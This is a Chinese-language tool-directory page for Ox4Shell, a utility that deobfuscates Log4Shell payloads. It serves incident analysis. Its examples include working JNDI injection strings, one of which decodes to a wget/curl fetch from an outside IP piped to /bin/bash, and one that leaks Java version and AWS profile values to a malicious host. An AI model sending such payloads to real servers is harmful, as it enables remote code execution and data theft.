Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Ox4Shell — 轻松去混淆Log4Shell载荷。 | Kitploit
工具/GitHubGitHub/ox-eye/ox4shell
漏洞分析日志分析
GitHubox-eye/ox4shell

Ox4Shell

轻松去混淆Log4Shell载荷。

查看仓库
167194年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Logo-LightLogo-Dark


maintained-oxeye python-3.8 version-1.1 license-mit blackhat-arsenal

Ox4Shell

轻松去混淆Log4Shell有效载荷。

描述

自Log4Shell漏洞(CVE-2021-44228)发布以来,许多工具被创建用于混淆Log4Shell有效载荷,使得安全工程师的生活如同噩梦。

本工具旨在揭示被混淆的Log4Shell有效载荷的真实内容。

例如,考虑以下混淆的有效载荷:

root@kitploit:~
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}

运行Ox4Shell后,它将转换为直观且可读的形式:

root@kitploit:~
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}

该工具还有助于识别和解码Base64命令。 例如,考虑以下混淆的有效载荷:

root@kitploit:~
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}

运行Ox4Shell后,该工具揭示了攻击者的意图:

root@kitploit:~
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash

⚠️ 我们建议通过提供的文件(-f)来运行Ox4Shell,而不是内联有效载荷(-p),因为某些shell环境会转义重要字符,从而导致结果不准确。

用法

运行工具只需:

root@kitploit:~
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)

   ____       _  _   _____ _          _ _ 
  / __ \     | || | / ____| |        | | |
 | |  | |_  _| || || (___ | |__   ___| | |
 | |  | \ \/ /__   _\___ \| '_ \ / _ \ | |
 | |__| |>  <   | | ____) | | | |  __/ | |
  \____//_/\_\  |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate Log4Shell payloads with ease.
    Created by https://oxeye.io

General:
  -h, --help            Show this help message and exit
  -d, --debug           Enable debug mode (default: False)
  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
  --max-depth MAX_DEPTH
                        The maximum number of iteration to perform on a given payload (default: 150)
  --decode-base64       Payloads containing base64 will be decoded (default: False)

Targets:
  Choose which target payloads to run Ox4Shell on

  -p PAYLOAD, --payload PAYLOAD
                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)
  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None)

模拟数据

Log4j库有几个独特的查找函数,允许用户查找环境变量、Java进程的运行时信息等。这一能力使威胁行为者能够探测特定信息,从而唯一标识他们目标中受害的机器。

Ox4Shell使用mock.json文件将常见值插入到某些查找函数中。例如,如果有效载荷包含值${env:HOME},我们可以用自定义的模拟值替换它。

提供的默认模拟数据集为:

root@kitploit:~
{
    "hostname": "ip-127.0.0.1",
    "env": {
        "aws_profile": "staging",
        "user": "ubuntu",
        "pwd": "/opt/",
        "path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
    },
    "sys": {
        "java.version": "16.0.2",
        "user.name": "ubuntu"
    },
    "java": {
        "version": "Java version 16.0.2",
        "runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
        "vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
        "os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
        "locale": "default locale: en_US, platform encoding: UTF-8",
        "hw": "processors: 1, architecture: amd64-64"
    }
}

例如,我们可以使用Ox4Shell的模拟功能去混淆以下有效载荷:

root@kitploit:~
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"  
${jndi:ldap://16.0.2.staging.malicious.server/a}

作者

  • Daniel Abeles
  • Ron Vider

许可证

该项目的源代码采用MIT许可证,您可以在LICENSE文件中找到。

下载工具